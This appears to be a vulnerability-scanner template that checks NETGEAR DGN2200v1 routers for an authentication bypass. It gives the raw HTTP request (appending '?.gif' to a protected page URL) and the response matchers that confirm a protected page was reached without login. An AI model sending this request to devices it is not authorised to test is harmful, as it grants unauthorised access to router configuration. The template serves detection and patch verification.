id: netgear-router-auth-bypass

info:
  name: NETGEAR DGN2200v1 Router Authentication Bypass
  author: gy741
  severity: high
  description: NETGEAR decided to use to check if a page has “.jpg”, “.gif” or “ess_” substrings, trying to match the entire URL. We can therefore access any page on the device, including those that require authentication, by appending a GET variable with the relevant substring (like “?.gif”).
  reference:
    - https://www.microsoft.com/security/blog/2021/06/30/microsoft-finds-new-netgear-firmware-vulnerabilities-that-could-lead-to-identity-theft-and-full-system-compromise/
    - https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1
  tags: netgear,auth-bypass,router

requests:
  - raw:
      - |
        GET /WAN_wan.htm?.gif HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
        Connection: close
        Accept: */*
        Accept-Language: en
        Accept-Encoding: gzip

      - |
        GET /WAN_wan.htm?.gif HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
        Connection: close
        Accept: */*
        Accept-Language: en
        Accept-Encoding: gzip

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<title>WAN Setup</title>"